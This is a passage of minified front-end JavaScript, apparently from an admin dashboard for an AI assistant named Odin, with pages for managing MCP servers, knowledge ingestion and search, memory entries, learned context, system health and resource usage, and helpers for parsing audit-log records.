is({title:`Remove ${se.name}`,message:`Remove this saved MCP server? Its ${se.published_count||0} published tool${se.published_count===1?"":"s"} will disappear immediately and configured authentication keys will be deleted. This cannot be undone.`,confirmLabel:"Remove server",danger:!0})){V(se.name,!0);try{await z.del(`/api/mcp/servers/${encodeURIComponent(se.name)}`),Se.success(`Removed ${se.name}`),delete p.value[se.name]}catch(Le){Se.error(Le.message||`Failed to remove ${se.name}`)}finally{V(se.name,!1),await Q({quiet:!0})}}}async function me(se){const Re=new Set(d.value);if(Re.has(se.name)){Re.delete(se.name),d.value=Re;return}Re.add(se.name),d.value=Re,Object.hasOwn(p.value,se.name)||await we(se.name)}async function we(se,Re=!1){if(!Re&&Object.hasOwn(p.value,se))return;const Le=new Set(h.value);Le.add(se),h.value=Le,m.value={...m.value,[se]:""};try{const Te=await z.get(`/api/mcp/servers/${encodeURIComponent(se)}/tools`);p.value={...p.value,[se]:Te.tools||[]}}catch(Te){m.value={...m.value,[se]:Te.message||"Failed to load tools"}}finally{const Te=new Set(h.value);Te.delete(se),h.value=Te}}function J(se){return(p.value[se]||[]).filter(Re=>nC(Re,u.value[se]))}function ie(se,Re){u.value={...u.value,[se]:Re}}function X(){k.value="add",A.value="",g.value=null,b.value=Jc(),x.value="",y.value=!0}function _e(se){k.value="edit",A.value=se.name,g.value=se,b.value={...Jc(),name:se.name,enabled:!!se.enabled,transport:se.transport||"stdio"},x.value="",y.value=!0}function U(){w.value||(y.value=!1)}function de(se){y.value&&lC(se)}function ge(se){const Re=se==="headers"?"headerRows":"envRows";b.value[Re].push({key:"",value:""})}function Ae(se,Re){const Le=se==="headers"?"headerRows":"envRows";b.value[Le].splice(Re,1)}function $e(se,Re){const Le=se==="headers"?"headersRemove":"envRemove",Te=b.value[Le];b.value[Le]=Te.includes(Re)?Te.filter(W=>W!==Re):[...Te,Re]}async function We(){var Re,Le;x.value="";let se;try{se=tC(b.value,{mode:k.value,originalTransport:((Re=g.value)==null?void 0:Re.transport)||""})}catch(Te){x.value=Te instanceof ia?Te.message:"Invalid MCP server configuration",await Ut(),(Le=document.querySelector(".mcp-editor"))==null||Le.scrollTo({top:0,behavior:"smooth"});return}if(!(k.value==="edit"&&sC(se,g.value)&&!await is({title:`Change ${A.value} connection`,message:"Saving this configuration replaces the server runtime. Any current connection will be retired and its tools unpublished; enabled servers reconnect after the change.",confirmLabel:"Save and reconnect",danger:!0}))){w.value=!0;try{k.value==="add"?await z.post("/api/mcp/servers",se):await z.put(`/api/mcp/servers/${encodeURIComponent(A.value)}`,se),Se.success(k.value==="add"?`Saved ${se.name}`:`Updated ${A.value}`),y.value=!1,await Q({quiet:!0})}catch(Te){x.value=Te.message||"Failed to save MCP server"}finally{w.value=!1}}}let je=null;function Xe(se){`${(se==null?void 0:se.event)||""} ${(se==null?void 0:se.type)||""} ${(se==null?void 0:se.tool)||""} ${(se==null?void 0:se.message)||""}`.toLowerCase().includes("mcp")&&(je&&window.clearTimeout(je),je=window.setTimeout(()=>Q({quiet:!0}),200))}function it(){L||(L=!0,E||(mt.subscribe("events",Xe),E=!0),Q(),ce())}function Qe(){L=!1,Z(),je&&window.clearTimeout(je),je=null,E&&(mt.unsubscribe("events",Xe),E=!1)}return st(it),cs(it),es(Qe),wt(Qe),{status:e,loading:t,mutating:s,pageError:r,servers:O,masterEnabled:I,aggregate:H,limitsSaving:a,limitsError:n,limitsAvailable:o,limitDraft:i,limitDirty:l,editLimit:xe,saveLimits:S,expandedServers:d,toolQueries:u,toolErrors:m,toolsLoading:h,editorOpen:y,editorMode:k,editingName:A,editingServer:g,form:b,formError:x,saving:w,editorGroups:F,configuredHeaderKeys:te,configuredEnvKeys:ee,savedHttpEndpoint:N,endpointRequired:M,endpointFieldLabel:$,endpointPlaceholder:re,refreshAll:Q,busy:ae,serverState:be,stateLabel:Oe,transportLabel:le,protocolLabel:oe,toolSummary:ve,formatAge:cC,setMasterEnabled:P,togglePending:j,toggleServerEnabled:Y,reconnect:G,refreshTools:he,removeServer:fe,toggleTools:me,filteredTools:J,setToolQuery:ie,openAdd:X,openEdit:_e,closeEditor:U,jumpToEditorGroup:de,addSecretRow:ge,removeSecretRow:Ae,toggleSecretRemoval:$e,saveServer:We}}};function uC(e,t){if(!e||!t)return Hf(e);const s=Hf(e),a=t.trim().split(/\s+/).filter(Boolean);if(!a.length)return s;const n=a.map(i=>i.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")).join("|");try{return s.replace(new RegExp(`(${n})`,"gi"),'$1')}catch{return s}}const pC={template:` -
-
-

Knowledge

-
- - -
-
- - -
-
- {{ sources.length }} - Sources -
-
- {{ totalChunks }} - Chunks -
-
- {{ uploaderCount }} - Uploaders -
-
- - -
- - - -
- - -
-
- Search Results {{ searchResults.length }} - for "{{ lastQuery }}" -
-
-

Search error: {{ searchError }}

-
-
- - No results for "{{ lastQuery }}" - Try different search terms or ingest more documents -
-
-
-
- {{ r.source || 'unknown' }} - {{ r.score.toFixed(3) }} - chunk #{{ r.chunk_index }} -
-
-
-
-
- - -
-

Ingest Document

-
- -
-
- -
-
{{ ingestError }}
-
- {{ ingestSuccess }} -
- -
- - -
-
-
- -
- - No documents ingested - Click "Ingest Document" to add knowledge for Odin to reference -
-
-
- Sources {{ sources.length }} -
-
-
- -
- - - {{ s.source || s.name || s }} - {{ s.chunks || 0 }} chunks - {{ s.uploader }} -
- - -
-
- - -
- Ingested: {{ formatTs(s.ingested_at) }} -
-
{{ s.preview }}
- - -
- {{ reingestResult.message }} -
- - -
-
-
Loading chunks... -
-
-
- {{ sourceChunks[s.source || s.name || s].length }} chunks - Ingested: {{ formatTs(s.ingested_at) }} -
-
-
- #{{ chunk.chunk_index }} - {{ chunk.char_count }} chars -
-
-
-
-
{{ chunk.content }}
-
{{ truncate(chunk.content, 120) }}
-
-
-
Couldn't load chunks — {{ chunkErrors[s.source || s.name || s] }}. Collapse and expand to retry.
-
No chunks found
-
-
-
-
- - - -
`,setup(){const e=f([]),t=f(!0),s=f(null),a=f(""),n=f(null),i=f(!1),l=f(""),o=f(null),r=f(!1),c=f(""),d=f(""),u=f(null),p=f(null),m=f("success"),h=f(!1),y=f(null),k=f(null);let A=null;const g=f(null),b=f(!1),x=f({}),w=f({}),_=f({}),T=f({}),L=new Map,E=f(null),F=B(()=>e.value.reduce((Q,ae)=>Q+(ae.chunks||0),0)),O=B(()=>new Set(e.value.map(ae=>ae.uploader).filter(Boolean)).size);function I(Q,ae){const V=w.value[ae];if(!V||V.length===0)return 0;const be=Math.max(...V.map(Oe=>Oe.char_count||0));return be===0?0:Math.round(Q.char_count/be*100)}async function H(){t.value=!0,s.value=null;try{const Q=await z.get("/api/knowledge");e.value=Array.isArray(Q)?Q:[]}catch(Q){s.value=Q.message}t.value=!1}async function te(Q){if(x.value[Q]){x.value[Q]=!1,E.value=null;return}if(x.value[Q]=!0,Object.prototype.hasOwnProperty.call(w.value,Q))return;if(L.has(Q))return L.get(Q);const ae={...T.value,[Q]:!0};T.value=ae;const V={..._.value};delete V[Q],_.value=V;const be=z.get(`/api/knowledge/${encodeURIComponent(Q)}/chunks`).then(Oe=>{w.value={...w.value,[Q]:Array.isArray(Oe)?Oe:[]}}).catch(Oe=>{_.value={..._.value,[Q]:Oe.message||"load failed"}}).finally(()=>{if(L.get(Q)!==be)return;L.delete(Q);const Oe={...T.value};delete Oe[Q],T.value=Oe});return L.set(Q,be),be}let ee=0;async function N(){const Q=a.value.trim();if(!Q)return;const ae=++ee;i.value=!0,o.value=null,l.value=Q;try{const V=await z.get(`/api/knowledge/search?q=${encodeURIComponent(Q)}`);if(ae!==ee)return;n.value=Array.isArray(V)?V:[]}catch(V){if(ae!==ee)return;n.value=[],o.value=V.message||"Search failed"}ae===ee&&(i.value=!1)}function M(){ee+=1,i.value=!1,n.value=null,a.value="",o.value=null}async function $(){u.value=null,p.value=null,m.value="success";const Q=c.value.trim(),ae=d.value.trim();if(!Q){u.value="Source name is required";return}if(!ae){u.value="Content is required";return}h.value=!0;try{const V=await z.post("/api/knowledge",{source:Q,content:ae}),be=V.outcome==="duplicate"||V.outcome==="conflict";V.outcome==="unchanged"?(p.value=`Already stored unchanged: "${Q}" (${V.chunks} chunks)`,c.value="",d.value=""):be?(m.value="warning",p.value=V.message||V.status):Number.isInteger(V.chunks)&&V.chunks>0?(p.value=`Ingested ${V.chunks} chunks from "${Q}"`,c.value="",d.value=""):(m.value="warning",p.value="Ingestion returned no confirmed stored content; check the source before retrying."),w.value={},await H(),!be&&m.value==="success"&&setTimeout(()=>{r.value=!1,p.value=null},1500)}catch(V){u.value=V.message}h.value=!1}async function re(Q){y.value=Q,k.value=null,A&&(clearTimeout(A),A=null);try{const ae=await z.post(`/api/knowledge/${encodeURIComponent(Q)}/reingest`),V=ae.outcome==="duplicate"||ae.outcome==="conflict";k.value={source:Q,error:!1,warning:V,message:V?ae.message||ae.status:ae.outcome==="unchanged"?`Already stored unchanged (${ae.chunks} chunks)`:`Re-ingested ${ae.chunks||0} chunks`},V||(delete w.value[Q],await H()),A=setTimeout(()=>{k.value=null,A=null},3e3)}catch(ae){k.value={source:Q,error:!0,message:ae.message}}y.value=null}function ce(Q){g.value=Q}async function Z(){if(g.value){b.value=!0;try{await z.del(`/api/knowledge/${encodeURIComponent(g.value)}`),delete w.value[g.value],await H()}catch(Q){Se.error(`Failed to delete source: ${Q.message||"unknown error"}`)}b.value=!1,g.value=null}}return st(()=>{H()}),{sources:e,loading:t,error:s,searchQuery:a,searchResults:n,searching:i,lastQuery:l,searchError:o,showIngest:r,ingestSource:c,ingestContent:d,ingestError:u,ingestSuccess:p,ingestNoticeType:m,ingesting:h,reingesting:y,reingestResult:k,deleteTarget:g,deleting:b,expanded:x,sourceChunks:w,chunkErrors:_,loadingChunks:T,selectedChunk:E,totalChunks:F,uploaderCount:O,truncate:Gu,formatTs:di,highlightTerms:uC,chunkBarWidth:I,fetchSources:H,toggleSource:te,doSearch:N,clearSearch:M,doIngest:$,doReingest:re,confirmDelete:ce,doDelete:Z}}},fC={template:` -
-
-

Memory

-
- - -
-
- - -
-
- {{ totalEntries }} - Entries -
-
- {{ scopes.length }} - Scopes -
-
- {{ selectedCount }} - Selected -
-
- - Select entries to delete -
-
- - -
- -
- - -
-

Add Memory Entry

-
-
- -
-
- -
-
-
- -
-
{{ addError }}
-
{{ addSuccess }}
- -
- - -
-
-

{{ actionError }}

- -
-
- - -
-
-
- -
- - No memory entries - Click "Add Entry" or let Odin learn preferences through conversations -
- - -
-
- -
- - - {{ scope.name }} - - {{ scope.count }} keys - -
- - -
-
-
Loading... -
-
- {{ filterQuery ? 'No matching keys' : 'No entries' }} -
-
-
-
- - {{ entry.key }} -
- - - -
-
-
- -
- - -
-
- -
{{ entry.value }}
-
-
-
-
-
- - - - - - -
`,setup(){const e=f([]),t=f({}),s=f(!0),a=f(null),n=f({}),i=f(null),l=f(""),o=f(!1),r=f({scope:"global",key:"",value:""}),c=f(!1),d=f(null),u=f(null),p=f(null),m=f(""),h=f(!1),y=f(null),k=f(null),A=f(new Set),g=f(null),b=f(!1),x=f(!1),w=B(()=>e.value.reduce((Q,ae)=>Q+ae.count,0)),_=B(()=>A.value.size);function T(Q){const ae=t.value[Q];if(!ae)return[];if(!l.value.trim())return ae;const V=l.value.trim().toLowerCase();return ae.filter(be=>be.key.toLowerCase().includes(V)||be.value&&be.value.toLowerCase().includes(V))}function L(Q,ae){return A.value.has(Q+"/"+ae)}function E(Q,ae){const V=Q+"/"+ae,be=new Set(A.value);be.has(V)?be.delete(V):be.add(V),A.value=be}function F(Q){const ae=t.value[Q];return!ae||ae.length===0?!1:ae.every(V=>A.value.has(Q+"/"+V.key))}function O(Q,ae){const V=t.value[Q];if(!V)return;const be=new Set(A.value);for(const Oe of V){const le=Q+"/"+Oe.key;ae?be.add(le):be.delete(le)}A.value=be}async function I(){s.value=!0,a.value=null;try{const Q=await z.get("/api/memory");e.value=Object.entries(Q).map(([ae,V])=>({name:ae,keys:V.keys||[],count:V.count||0}))}catch(Q){a.value=Q.message}s.value=!1}async function H(Q){if(n.value[Q]){n.value[Q]=!1;return}n.value[Q]=!0;const ae=e.value.find(be=>be.name===Q);if(!ae||t.value[Q]||i.value===Q)return;i.value=Q;let V;try{const Oe=(await z.get(`/api/memory/${encodeURIComponent(Q)}`)).entries||{};V=ae.keys.map(le=>Object.prototype.hasOwnProperty.call(Oe,le)?{key:le,value:Oe[le]||"",failed:!1}:{key:le,value:"",failed:!0,error:"Not found in scope"})}catch(be){V=ae.keys.map(Oe=>({key:Oe,value:"",failed:!0,error:be.message||"Failed to load"}))}t.value[Q]=V,i.value=null}function te(Q,ae,V){p.value=Q+"/"+ae,m.value=V}async function ee(Q,ae){h.value=!0,y.value=null;try{await z.put(`/api/memory/${encodeURIComponent(Q)}/${encodeURIComponent(ae)}`,{value:m.value});const V=t.value[Q];if(V){const be=V.find(Oe=>Oe.key===ae);be&&(be.value=m.value)}p.value=null}catch(V){y.value=`Failed to save: ${V.message||"unknown error"}`}h.value=!1}async function N(Q,ae){try{await navigator.clipboard.writeText(ae.value),k.value=Q+"/"+ae.key,setTimeout(()=>{k.value=null},1500)}catch{}}async function M(){d.value=null,u.value=null;const Q=r.value.scope.trim(),ae=r.value.key.trim(),V=r.value.value.trim();if(!Q){d.value="Scope is required";return}if(!ae){d.value="Key is required";return}if(!V){d.value="Value is required";return}c.value=!0;try{await z.put(`/api/memory/${encodeURIComponent(Q)}/${encodeURIComponent(ae)}`,{value:V}),u.value="Entry saved",r.value={scope:"global",key:"",value:""},t.value={},await I(),setTimeout(()=>{o.value=!1,u.value=null},800)}catch(be){d.value=be.message}c.value=!1}function $(Q,ae){g.value={scope:Q,key:ae}}async function re(){if(!g.value)return;b.value=!0,y.value=null;const{scope:Q,key:ae}=g.value;try{await z.del(`/api/memory/${encodeURIComponent(Q)}/${encodeURIComponent(ae)}`);const V=t.value[Q];V&&(t.value[Q]=V.filter(le=>le.key!==ae));const be=e.value.find(le=>le.name===Q);be&&(be.count--,be.keys=be.keys.filter(le=>le!==ae));const Oe=new Set(A.value);Oe.delete(Q+"/"+ae),A.value=Oe}catch(V){y.value=`Failed to delete: ${V.message||"unknown error"}`}b.value=!1,g.value=null}function ce(){x.value=!0}async function Z(){b.value=!0,y.value=null;const Q=[];for(const ae of A.value){const V=ae.indexOf("/");Q.push({scope:ae.slice(0,V),key:ae.slice(V+1)})}try{await z.post("/api/memory/bulk-delete",{entries:Q}),A.value=new Set,t.value={},await I()}catch(ae){y.value=`Bulk delete failed: ${ae.message||"unknown error"}`}b.value=!1,x.value=!1}return st(()=>{I()}),{scopes:e,scopeEntries:t,loading:s,error:a,expanded:n,loadingScope:i,filterQuery:l,showAdd:o,addForm:r,adding:c,addError:d,addSuccess:u,editingKey:p,editValue:m,saving:h,actionError:y,copied:k,selected:A,selectedCount:_,totalEntries:w,deleteTarget:g,deleting:b,showBulkDelete:x,fetchMemory:I,toggleScope:H,startEdit:te,doEdit:ee,copyValue:N,doAdd:M,confirmDelete:$,doDelete:re,confirmBulkDelete:ce,doBulkDelete:Z,isSelected:L,toggleSelect:E,isScopeAllSelected:F,toggleSelectAll:O,filteredEntries:T}}},mC={components:{DiscordIdentity:Dn},template:` -
-
-
-

Learned Context

-

- {{ entries.length }} entries | Last reflection: {{ formatTs(meta.last_reflection) }} -

-
- -
- -
-
-
-

Automatic learning

-

When off, Odin neither creates automatic lessons nor adds stored learned entries to model context. Existing entries are retained.

-

Current state: {{ learningEnabled ? 'On' : 'Off' }}

- -

Checking administrator configuration…

-
- -
-
- -
-
-
-
-

{{ error }}

- -
-
- - No learned entries yet - Existing entries remain available whether automatic learning is on or off -
- -
- -
- -
- - -
-
-
-
- {{ entry.key }} - {{ entry.category }} - - user: - -
-
- -
- - -
-
-

{{ entry.content }}

-
- Created: {{ formatTs(entry.created_at) }} - | Updated: {{ formatTs(entry.updated_at) }} -
-
-
- - -
-
-
-
-
- `,setup(){const e=f([]),t=f(null),s=f(!0),a=f(null),n=f(null),i=f(null),l=f(""),o=f(!1),r=f(!1),c=f(null),d=f(!1),u=B(()=>[...new Set(e.value.map(_=>_.category))].sort()),p=B(()=>{const w={};return e.value.forEach(_=>{w[_.category]=(w[_.category]||0)+1}),w}),m=B(()=>n.value?e.value.filter(w=>w.category===n.value):e.value);function h(w){return w==="correction"?"badge-warning":w==="operational"?"badge-info":w==="preference"?"badge-success":"badge-info"}function y(w){i.value=w.key,l.value=w.content}async function k(w){try{await z.put("/api/learned/"+encodeURIComponent(w),{content:l.value}),i.value=null,Se.success("Entry updated"),await g()}catch(_){Se.error(_.message||"Failed to save entry")}}async function A(w){if(await is({title:"Delete learned entry",message:`Delete "${w}"? Odin will no longer apply this learned context.`,confirmLabel:"Delete",danger:!0}))try{await z.del("/api/learned/"+encodeURIComponent(w)),Se.success("Entry deleted"),await g()}catch(T){Se.error(T.message||"Failed to delete entry")}}async function g(){s.value=!0,a.value=null;try{const w=await z.get("/api/learned");e.value=w.entries||[],t.value={last_reflection:w.last_reflection,count:w.count}}catch(w){a.value=w.message}s.value=!1}async function b(){var w;r.value=!1,c.value=null;try{const _=await z.get("/api/config");o.value=((w=_.learning)==null?void 0:w.enabled)===!0,r.value=!0}catch(_){c.value=_.status===403?"Administrator access is required to change automatic learning.":_.message||"Automatic learning state is unavailable."}}async function x(w){if(!(!r.value||d.value)){d.value=!0,c.value=null;try{if(await z.put("/api/config",{learning:{enabled:w}}),await b(),!r.value)return;Se.success(`Automatic learning ${o.value?"enabled":"disabled"}`)}catch(_){r.value=!1,c.value=_.status===403?"Administrator access is required to change automatic learning.":_.message||"Failed to change automatic learning."}finally{d.value=!1}}}return st(()=>{g(),b()}),{entries:e,meta:t,loading:s,error:a,filterCat:n,editing:i,editContent:l,categories:u,catCounts:p,filtered:m,learningEnabled:o,configReady:r,configError:c,savingConfig:d,catBadge:h,formatTs:di,startEdit:y,saveEdit:k,deleteEntry:A,fetchEntries:g,fetchLearningConfig:b,setLearningEnabled:x}}},Ug=[{id:"tools",label:"Tools",component:J1},{id:"skills",label:"Skills",component:Y1},{id:"mcp-servers",label:"MCP Servers",component:dC},{id:"knowledge",label:"Knowledge",component:pC},{id:"memory",label:"Memory",component:fC},{id:"learned",label:"Learned",component:mC}],vC={components:{TabbedPage:uc},setup(){return{tabs:Ug}},template:''},hC={ok:"text-green-400",degraded:"text-yellow-400",down:"text-red-400",unconfigured:"text-gray-500"},gC={ok:"success",degraded:"warning",down:"error",unconfigured:"minus"},bC={healthy:"text-green-400",degraded:"text-yellow-400",unhealthy:"text-red-400"},yC={template:` -
- -
-
-
-
-
-
-
-
-
-
-
-
- - - - - -
-
-

Last refresh failed: {{ error }} — showing the most recent data.

-
- -
-
-
- -
-
{{ overallLabel }}
-
- {{ data.healthy_count }} healthy, {{ data.degraded_count }} degraded, {{ data.down_count }} down, {{ data.unconfigured_count }} unconfigured -
-
-
-
- Updated {{ formatTime(data.checked_at) }} - -
-
-
- - -
-
-
- - {{ formatName(c.name) }} - {{ c.status }} -
-
{{ c.detail }}
- - -
-
Configured hosts:
-
- - {{ h.alias }} - {{ h.ssh_user }}@{{ h.address }} - ({{ h.os }}) -
-
- Pool: {{ c.metadata.active_connections || 0 }} active, - {{ c.metadata.total_reused || 0 }} reused, - {{ c.metadata.total_opened || 0 }} opened -
-
- - -
-
- Model: - {{ c.metadata.model || 'unknown' }} -
-
- Circuit: - {{ c.metadata.circuit_breaker }} -
-
- Pool: - {{ c.metadata.http_pool_active_connections || 0 }}/{{ c.metadata.http_pool_max_connections || 0 }} connections -
-
- Requests: - {{ c.metadata.http_pool_total_requests || 0 }} total -
-
- - -
-
- Chunks: - {{ c.metadata.chunks || 0 }} -
-
- Vector search: - - {{ c.metadata.vector_search ? 'enabled' : 'FTS only' }} - -
-
- - -
-
- Active: - {{ c.metadata.count || 0 }} session(s) -
-
- Tokens: - {{ formatNumber(c.metadata.total_tokens || 0) }} -
-
- {{ c.metadata.over_budget }} over budget -
-
- - -
-
- {{ key }}: - {{ val }} -
-
-
-
-
-
`,setup(){const e=f({}),t=f(!0),s=f(null),a=f(!1),n=f(!1),i=B(()=>e.value.components||[]),l=B(()=>bC[e.value.overall]||"text-gray-400"),o=B(()=>e.value.overall==="healthy"?"success":e.value.overall==="degraded"?"warning":e.value.overall==="unhealthy"?"error":"minus"),r=B(()=>{const _=e.value.overall;return _==="healthy"?"All Systems Healthy":_==="degraded"?"Some Systems Degraded":_==="unhealthy"?"System Issues Detected":"Unknown"});function c(_){return hC[_]||"text-gray-400"}function d(_){return gC[_]||"info"}function u(_){return _==="ok"?"badge-success":_==="degraded"?"badge-warning":_==="down"?"badge-danger":"badge-info"}function p(_){return _==="closed"?"text-green-400":_==="half_open"?"text-yellow-400":_==="open"?"text-red-400":"text-gray-400"}function m(_){return _.replace(/_/g," ").replace(/\b\w/g,T=>T.toUpperCase())}function h(_){if(!_)return"—";try{return new Date(_).toLocaleTimeString([],{hour:"2-digit",minute:"2-digit",second:"2-digit"})}catch{return _}}function y(_){return _>=1e6?(_/1e6).toFixed(1)+"M":_>=1e3?(_/1e3).toFixed(1)+"K":String(_)}async function k(){n.value=!0;try{e.value=await z.get("/api/health/components"),s.value=null,a.value=!0}catch(_){s.value=_.message}finally{t.value=!1,n.value=!1}}function A(){t.value=!0,s.value=null,k()}let g=null,b=!1;function x(){b||(b=!0,k(),g||(g=setInterval(k,3e4)))}function w(){b&&(b=!1,g&&(clearInterval(g),g=null))}return st(x),cs(x),es(w),wt(w),{data:e,hasData:a,loading:t,error:s,refreshing:n,components:i,overallColor:l,overallIcon:o,overallLabel:r,statusColor:c,statusIcon:d,badgeClass:u,circuitColor:p,formatName:m,formatTime:h,formatNumber:y,fetchHealth:k,retry:A}}},xC={template:` -
- -
-
-
-
-
-
-
-
-
- - - - - -
-
-

Last refresh failed: {{ error }} — showing the most recent data.

-
- -
-

Resource Usage

-
- {{ collectedAt }} - -
-
- - -
-
-
{{ data.sessions.active_count }}
-
Active Sessions
-
-
-
{{ fmtNum(data.knowledge.chunk_count) }}
-
Knowledge Chunks
-
-
-
{{ fmtNum(data.trajectories.total_count) }}
-
Trajectories Saved
-
-
-
{{ data.storage_total_mb }} MB
-
Total Storage
-
-
- - -
- -
- - -
-
-
-
{{ fmtNum(data.sessions.total_tokens) }}
-
Total Tokens
-
-
-
{{ fmtNum(data.sessions.total_messages) }}
-
Total Messages
-
-
-
- {{ data.sessions.over_budget_count }} -
-
Over Budget
-
-
-
{{ data.sessions.persist_dir.total_mb }} MB
-
Persist Storage
-
-
- -
-

Per-Session Breakdown

-
- - - - - - - - - - - - - - - -
ChannelTokensMessagesSummary
{{ s.channel_id }}{{ fmtNum(s.tokens) }}{{ s.messages }} - - {{ s.has_summary ? 'Yes' : 'No' }} - -
-
-
-
- No active sessions -
-
- - -
-
-
-
{{ data.knowledge.source_count }}
-
Sources
-
-
-
{{ fmtNum(data.knowledge.chunk_count) }}
-
Chunks
-
-
-
- {{ data.knowledge.vector_search ? 'Vector + FTS' : 'FTS Only' }} -
-
Search Mode
-
-
-
{{ data.knowledge.db_file.total_mb }} MB
-
DB Size
-
-
- -
-

Ingested Sources

-
- - - - - - - - - - - - - -
SourceChunksUploader
{{ s.source }}{{ s.chunks }}{{ s.uploader }}
-
-
-
- {{ data.knowledge.available ? 'No documents ingested' : 'Knowledge store unavailable' }} -
-
- - -
-
-
-
{{ fmtNum(data.trajectories.message_count) }}
-
Message Turns
-
-
-
{{ fmtNum(data.trajectories.agent_count) }}
-
Agent Turns
-
-
-
{{ data.trajectories.message_dir.file_count }}
-
Message Files
-
-
-
{{ data.trajectories.combined_mb }} MB
-
Total Volume
-
-
- -
- -
-

- Message Trajectory Files - ({{ data.trajectories.message_dir.total_mb }} MB) -

-
-
- {{ f }} -
-
-
No trajectory files yet
-
- - -
-

- Agent Trajectory Files - ({{ data.trajectories.agent_dir.total_mb }} MB) -

-
-
- {{ f }} -
-
-
No agent trajectory files yet
-
-
-
- - -
-
-

Storage Breakdown

-
-
-
- {{ item.label }} - {{ item.mb }} MB ({{ item.files }} files) -
-
-
-
-
-
-
-
-
-
- `,setup(){const e=f(!0),t=f(null),s=f(!1),a=f(!1),n=f("sessions"),i=f(null);let l=null;const o=[{key:"sessions",label:"Sessions"},{key:"knowledge",label:"Knowledge"},{key:"trajectories",label:"Trajectories"},{key:"storage",label:"Storage"}],r=B(()=>{if(!i.value||!i.value.collected_at)return"";try{return new Date(i.value.collected_at).toLocaleTimeString()}catch{return""}}),c=B(()=>{if(!i.value)return[];const k=i.value,A=k.storage_total_bytes||1;return[{label:"Session Persistence",mb:k.sessions.persist_dir.total_mb,bytes:k.sessions.persist_dir.total_bytes,files:k.sessions.persist_dir.file_count,pct:Math.min(100,Math.round(k.sessions.persist_dir.total_bytes/A*100)),color:"res-bar-blue"},{label:"Knowledge Database",mb:k.knowledge.db_file.total_mb,bytes:k.knowledge.db_file.total_bytes,files:k.knowledge.db_file.file_count,pct:Math.min(100,Math.round(k.knowledge.db_file.total_bytes/A*100)),color:"res-bar-purple"},{label:"Message Trajectories",mb:k.trajectories.message_dir.total_mb,bytes:k.trajectories.message_dir.total_bytes,files:k.trajectories.message_dir.file_count,pct:Math.min(100,Math.round(k.trajectories.message_dir.total_bytes/A*100)),color:"res-bar-emerald"},{label:"Agent Trajectories",mb:k.trajectories.agent_dir.total_mb,bytes:k.trajectories.agent_dir.total_bytes,files:k.trajectories.agent_dir.file_count,pct:Math.min(100,Math.round(k.trajectories.agent_dir.total_bytes/A*100)),color:"res-bar-amber"}]});async function d(){try{const k=await z.get("/api/resource-usage");i.value=k,t.value=null,s.value=!0}catch(k){t.value=k.message||"Failed to load resource usage"}finally{e.value=!1,a.value=!1}}async function u(){a.value=!0,await d()}function p(){e.value=!0,t.value=null,d()}let m=!1;function h(){m||(m=!0,d(),l||(l=setInterval(d,3e4)))}function y(){m&&(m=!1,l&&(clearInterval(l),l=null))}return st(h),cs(h),es(y),wt(y),{hasData:s,loading:e,error:t,refreshing:a,data:i,activeTab:n,tabs:o,collectedAt:r,storageItems:c,fmtNum:Wu,refresh:u,retry:p}}},_C=new Set(["timestamp","type","level","tool_name","action","method","path","status","success","execution_time_ms","duration_ms","metadata","audit_metadata","turn","tool_input","audit_observer","_hmac","_prev_hmac","agent_id","agent_label","parent_agent_id","root_agent_id","originating_turn_id","turn_id","iteration","call_id","result_summary","detail","message","diff","error"]),wC=new Set(["agent_id","agent_label","label","parent_agent_id","root_agent_id","originating_turn_id","turn_id","iteration","call_id","status","duration_ms","tool_input_keys","audit_observer","_hmac","_prev_hmac"]);function kC(e){const t={};for(const s of["metadata","audit_metadata"]){if(!(e!=null&&e[s])||typeof e[s]!="object")continue;const a=Object.fromEntries(Object.entries(e[s]).filter(([n])=>!wC.has(n)));Object.keys(a).length&&(t[s]=a)}return Object.keys(t).length?lo(t):""}function SC(e){var n,i,l,o;const t=e.record;if(!t)return{body:e.text,action:"",status:"",duration:null};let s;for(const r of["result_summary","detail","message","diff","error"])if(t[r]!==void 0&&t[r]!==null&&t[r]!==""){s=t[r];break}if(s===void 0&&((n=t.metadata)!=null&&n.error)&&(s=t.metadata.error),s===void 0){const r=Object.fromEntries(Object.entries(t).filter(([c])=>!_C.has(c)));s=Object.keys(r).length?lo(r):""}const a=t.status??((i=t.metadata)==null?void 0:i.status)??(t.error||t.success===!1?"failed":t.success===!0?"success":["tool_start","loop_tool_start"].includes(t.type)?"started":"");return{body:s,action:t.tool_name||t.action||(t.method?`${t.method} ${t.path||""}`.trim():t.type||""),status:a,duration:t.execution_time_ms??t.duration_ms??((l=t.metadata)==null?void 0:l.duration_ms)??((o=t.metadata)==null?void 0:o.elapsed_ms)??null}}const In=e=>e!==null&&typeof e=="object"&&!Array.isArray(e),oo=e=>typeof e=="string"||typeof e=="number"?String(e):"";function CC(e){const t=In(e)?e:{},s=In(t.metadata)?t.metadata:{},a=In(t.audit_metadata)?t.audit_metadata:{},n=In(t.turn)?t.turn:{},i=l=>oo(t[l]??s[l]??a[l]??n[l]);return{agentId:i("agent_id"),label:i("agent_label")||i("label"),parentId:i("parent_agent_id"),rootId:i("root_agent_id"),turnId:i("originating_turn_id")||i("turn_id"),iteration:i("iteration"),callId:i("call_id")}}function Zf(e){return e.record?JSON.stringify(zg(e),null,2):e.text}function zg(e){var t;return((t=e.events)==null?void 0:t.length)>1?e.events:e.record}function Fd(e){return e!=null&&e.tool_name?["tool_start","loop_tool_start"].includes(e.type)?"start":["tool_end","loop_tool"].includes(e.type)?"end":(!e.type||e.type==="execution")&&"result_summary"in e?"execution":"":""}function Qf(e){if(!Fd(e.record))return"";const t=e.attribution,s=e.record;return!t.callId||!t.turnId&&!t.agentId?"":JSON.stringify([t.turnId,t.agentId,t.iteration,t.callId,e.tool,oo(s.channel_id),oo(s.user_id??s.actor)])}function TC(e,t,s=2e3){var i,l,o;const a=Qf(t),n=a?e.findIndex(r=>Qf(r)===a):-1;if(n<0)e.push(t);else{const r=e[n],c=[...r.events||[r.record]],d=JSON.stringify(t.record);if(c.some(g=>JSON.stringify(g)===d))return;c.push(t.record);const u=g=>"result_summary"in g?2:Fd(g)==="end"?1:0,p=[...c].sort((g,b)=>u(g)-u(b)),m=Object.assign({},...p);m.type=p[p.length-1].type||"execution";for(const g of["metadata","audit_metadata","turn"]){const b=p.filter(x=>In(x[g])).map(x=>x[g]);b.length&&(m[g]=Object.assign({},...b))}const h=c.some(g=>Fd(g)!=="start"),y=c.find(g=>Bd(g,0).level==="ERROR"),k=(y==null?void 0:y.status)||((i=y==null?void 0:y.metadata)==null?void 